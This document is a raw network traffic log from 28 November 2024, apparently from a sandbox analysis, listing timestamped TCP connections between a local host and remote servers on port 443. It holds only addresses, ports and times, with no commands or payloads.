Nov 28, 2024 13:10:18.906125069 CET	443	49816	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:18.911644936 CET	49830	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:18.911690950 CET	443	49830	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:18.911927938 CET	49830	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:18.912082911 CET	49830	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:18.912087917 CET	443	49830	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:18.969979048 CET	443	49817	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:18.970040083 CET	443	49817	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:18.970287085 CET	49817	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:18.970868111 CET	49817	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:18.970879078 CET	443	49817	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:18.970894098 CET	49817	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:18.970899105 CET	443	49817	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:18.976481915 CET	49831	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:18.976504087 CET	443	49831	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:18.976566076 CET	49831	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:18.976866961 CET	49831	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:18.976880074 CET	443	49831	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:19.073669910 CET	443	49824	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:19.073730946 CET	443	49824	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:19.073785067 CET	49824	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:19.076936960 CET	49824	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:19.076946020 CET	443	49824	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:19.076957941 CET	49824	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:19.076963902 CET	443	49824	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:19.086170912 CET	49832	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:19.086206913 CET	443	49832	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:19.086400032 CET	49832	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:19.088243961 CET	49832	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:19.088257074 CET	443	49832	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:19.121718884 CET	443	49822	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:19.121794939 CET	443	49822	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:19.121893883 CET	49822	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:19.131138086 CET	49822	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:19.131153107 CET	443	49822	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:19.141549110 CET	49833	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:19.141576052 CET	443	49833	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:19.141644955 CET	49833	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:19.141819954 CET	49833	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:19.141838074 CET	443	49833	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:19.209157944 CET	443	49823	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:19.209218979 CET	443	49823	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:19.209300995 CET	49823	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:19.209592104 CET	49823	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:19.209592104 CET	49823	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:19.209609032 CET	443	49823	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:19.209620953 CET	443	49823	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:19.213793993 CET	49834	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:19.213823080 CET	443	49834	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:19.214137077 CET	49834	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:19.214313030 CET	49834	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:19.214324951 CET	443	49834	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:19.425126076 CET	443	49784	142.250.181.68	192.168.2.4
Nov 28, 2024 13:10:19.425188065 CET	443	49784	142.250.181.68	192.168.2.4
Nov 28, 2024 13:10:19.425265074 CET	49784	443	192.168.2.4	142.250.181.68
Nov 28, 2024 13:10:19.597990990 CET	49784	443	192.168.2.4	142.250.181.68
Nov 28, 2024 13:10:19.598011971 CET	443	49784	142.250.181.68	192.168.2.4
Nov 28, 2024 13:10:20.631195068 CET	443	49830	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:20.679179907 CET	49830	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:20.830912113 CET	443	49831	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:20.854022980 CET	49830	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:20.854053974 CET	443	49830	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:20.854558945 CET	49830	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:20.854564905 CET	443	49830	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:20.865783930 CET	49831	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:20.865804911 CET	443	49831	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:20.866487980 CET	49831	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:20.866494894 CET	443	49831	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:20.929896116 CET	443	49833	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:20.931436062 CET	49833	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:20.931476116 CET	443	49833	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:20.932110071 CET	49833	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:20.932116985 CET	443	49833	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:20.939486980 CET	443	49832	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:20.941770077 CET	49832	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:20.941807032 CET	443	49832	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:20.942955017 CET	49832	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:20.942962885 CET	443	49832	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:20.993834972 CET	443	49834	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:20.995222092 CET	49834	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:20.995256901 CET	443	49834	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:20.995973110 CET	49834	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:20.995979071 CET	443	49834	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:21.170094967 CET	443	49830	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:21.170162916 CET	443	49830	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:21.170241117 CET	49830	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:21.184720039 CET	49830	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:21.184741020 CET	443	49830	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:21.184753895 CET	49830	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:21.184761047 CET	443	49830	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:21.229726076 CET	49845	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:21.229768038 CET	443	49845	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:21.230185032 CET	49845	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:21.230472088 CET	49845	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:21.230494976 CET	443	49845	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:21.284781933 CET	443	49831	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:21.284859896 CET	443	49831	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:21.284920931 CET	49831	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:21.286995888 CET	49831	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:21.287009001 CET	443	49831	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:21.287046909 CET	49831	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:21.287050962 CET	443	49831	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:21.290618896 CET	49846	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:21.290647984 CET	443	49846	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:21.290776968 CET	49846	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:21.290996075 CET	49846	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:21.291011095 CET	443	49846	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:21.374097109 CET	443	49833	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:21.374161005 CET	443	49833	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:21.374300957 CET	49833	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:21.374605894 CET	49833	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:21.374619961 CET	443	49833	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:21.374629974 CET	49833	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:21.374639034 CET	443	49833	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:21.381642103 CET	49848	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:21.381678104 CET	443	49848	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:21.381879091 CET	49848	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:21.385062933 CET	49848	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:21.385087967 CET	443	49848	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:21.392330885 CET	443	49832	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:21.392394066 CET	443	49832	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:21.392451048 CET	49832	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:21.393183947 CET	49832	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:21.393203974 CET	443	49832	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:21.393213987 CET	49832	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:21.393219948 CET	443	49832	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:21.397967100 CET	49849	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:21.397980928 CET	443	49849	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:21.398066998 CET	49849	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:21.398240089 CET	49849	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:21.398252010 CET	443	49849	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:21.438374043 CET	443	49834	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:21.438441992 CET	443	49834	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:21.438494921 CET	49834	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:21.444505930 CET	49834	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:21.444519043 CET	443	49834	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:21.463942051 CET	49851	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:21.463958025 CET	443	49851	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:21.464040041 CET	49851	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:21.464452028 CET	49851	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:21.464458942 CET	443	49851	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:23.075511932 CET	443	49845	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:23.099684000 CET	443	49848	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:23.115901947 CET	443	49849	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:23.136812925 CET	443	49846	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:23.212474108 CET	49849	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:23.269817114 CET	49848	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:23.269829035 CET	49845	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:23.269831896 CET	49846	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:23.326077938 CET	443	49851	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:23.371071100 CET	49851	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:23.539470911 CET	49851	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:23.539480925 CET	443	49851	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:23.545336962 CET	49851	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:23.545341969 CET	443	49851	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:23.546132088 CET	49846	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:23.546154022 CET	443	49846	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:23.547811985 CET	49846	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:23.547820091 CET	443	49846	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:23.587570906 CET	49845	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:23.587587118 CET	443	49845	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:23.588418961 CET	49845	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:23.588426113 CET	443	49845	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:23.591023922 CET	49848	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:23.591051102 CET	443	49848	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:23.591164112 CET	49849	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:23.591178894 CET	443	49849	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:23.591794968 CET	49849	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:23.591799974 CET	443	49849	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:23.591892004 CET	49848	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:23.591897011 CET	443	49848	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:23.870678902 CET	443	49851	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:23.870748043 CET	443	49851	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:23.870790958 CET	49851	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:23.871592999 CET	49851	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:23.871611118 CET	443	49851	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:23.871620893 CET	49851	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:23.871627092 CET	443	49851	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:23.877115965 CET	49865	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:23.877154112 CET	443	49865	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:23.877227068 CET	49865	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:23.877868891 CET	49865	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:23.877898932 CET	443	49865	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:23.881788969 CET	443	49846	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:23.881863117 CET	443	49846	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:23.881915092 CET	49846	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:23.884462118 CET	49846	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:23.884478092 CET	443	49846	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:23.884524107 CET	49846	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:23.884530067 CET	443	49846	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:23.889003038 CET	49866	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:23.889035940 CET	443	49866	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:23.889098883 CET	49866	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:23.889539003 CET	49866	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:23.889549971 CET	443	49866	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:23.907403946 CET	443	49849	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:23.907416105 CET	443	49848	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:23.907571077 CET	443	49848	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:23.907618999 CET	49848	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:23.908128977 CET	49848	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:23.908138037 CET	443	49848	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:23.908149958 CET	49848	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:23.908155918 CET	443	49848	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:23.908180952 CET	443	49849	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:23.908226967 CET	49849	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:23.908395052 CET	49849	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:23.908405066 CET	443	49849	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:23.908420086 CET	49849	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:23.908426046 CET	443	49849	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:23.916244984 CET	49867	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:23.916271925 CET	443	49867	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:23.916342020 CET	49867	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:23.922243118 CET	443	49845	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:23.922312021 CET	443	49845	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:23.922369957 CET	49845	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:23.922673941 CET	49867	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:23.922692060 CET	443	49867	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:23.925719023 CET	49845	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:23.925738096 CET	443	49845	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:23.926623106 CET	49868	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:23.926665068 CET	443	49868	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:23.926722050 CET	49868	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:23.927036047 CET	49868	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:23.927047968 CET	443	49868	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:23.928244114 CET	49869	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:23.928278923 CET	443	49869	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:23.928340912 CET	49869	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:23.928514004 CET	49869	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:23.928534985 CET	443	49869	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:25.644695997 CET	443	49869	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:25.645996094 CET	49869	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:25.646025896 CET	443	49869	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:25.646543026 CET	49869	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:25.646548033 CET	443	49869	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:25.703891039 CET	443	49867	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:25.707984924 CET	443	49868	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:25.715449095 CET	49867	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:25.715466976 CET	443	49867	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:25.716017008 CET	49867	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:25.716022015 CET	443	49867	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:25.716252089 CET	49868	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:25.716269970 CET	443	49868	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:25.716619015 CET	49868	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:25.716624022 CET	443	49868	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:25.723998070 CET	443	49865	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:25.724422932 CET	49865	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:25.724445105 CET	443	49865	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:25.724864960 CET	49865	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:25.724870920 CET	443	49865	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:25.736218929 CET	443	49866	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:25.737632036 CET	49866	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:25.737651110 CET	443	49866	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:25.738029957 CET	49866	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:25.738039017 CET	443	49866	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:26.080085039 CET	443	49869	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:26.080166101 CET	443	49869	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:26.080225945 CET	49869	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:26.148058891 CET	443	49867	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:26.148130894 CET	443	49867	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:26.148231030 CET	49867	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:26.151994944 CET	443	49868	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:26.152062893 CET	443	49868	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:26.152113914 CET	49868	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:26.177982092 CET	443	49865	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:26.178051949 CET	443	49865	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:26.178126097 CET	49865	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:26.190192938 CET	443	49866	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:26.190257072 CET	443	49866	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:26.190408945 CET	49866	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:26.238972902 CET	49869	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:26.239012957 CET	443	49869	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:26.239053011 CET	49869	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:26.239059925 CET	443	49869	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:26.240385056 CET	49865	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:26.240410089 CET	443	49865	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:26.240428925 CET	49865	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:26.240437031 CET	443	49865	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:26.241244078 CET	49866	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:26.241244078 CET	49866	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:26.241278887 CET	443	49866	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:26.241292000 CET	443	49866	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:26.250000000 CET	49867	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:26.250005960 CET	443	49867	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:26.250060081 CET	49867	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:26.250063896 CET	443	49867	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:26.252402067 CET	49868	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:26.252433062 CET	443	49868	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:26.252448082 CET	49868	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:26.252454996 CET	443	49868	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:26.261694908 CET	49877	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:26.261728048 CET	443	49877	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:26.261796951 CET	49877	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:26.263273001 CET	49878	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:26.263298035 CET	443	49878	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:26.263374090 CET	49878	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:26.263653994 CET	49879	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:26.263664961 CET	443	49879	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:26.263716936 CET	49879	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:26.263886929 CET	49880	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:26.263917923 CET	443	49880	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:26.263964891 CET	49880	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:26.264882088 CET	49881	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:26.264914989 CET	443	49881	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:26.264971972 CET	49881	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:26.266201973 CET	49881	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:26.266216040 CET	443	49881	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:26.266283035 CET	49878	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:26.266298056 CET	443	49878	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:26.266330004 CET	49880	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:26.266345024 CET	443	49880	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:26.266406059 CET	49877	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:26.266418934 CET	443	49877	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:26.266463041 CET	49879	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:26.266472101 CET	443	49879	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:27.981915951 CET	443	49881	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:27.982629061 CET	49881	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:27.982652903 CET	443	49881	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:27.983165026 CET	49881	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:27.983170033 CET	443	49881	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:27.987611055 CET	443	49877	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:27.988945007 CET	49877	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:27.988969088 CET	443	49877	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:27.989419937 CET	49877	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:27.989427090 CET	443	49877	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:28.048491001 CET	443	49880	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:28.050247908 CET	49880	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:28.050275087 CET	443	49880	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:28.050750971 CET	49880	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:28.050755978 CET	443	49880	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:28.051047087 CET	443	49878	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:28.051345110 CET	49878	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:28.051362038 CET	443	49878	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:28.051687002 CET	49878	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:28.051692009 CET	443	49878	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:28.059789896 CET	443	49879	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:28.060228109 CET	49879	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:28.060246944 CET	443	49879	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:28.060559988 CET	49879	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:28.060565948 CET	443	49879	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:28.417943954 CET	443	49881	13.107.246.63	192.168.2.4
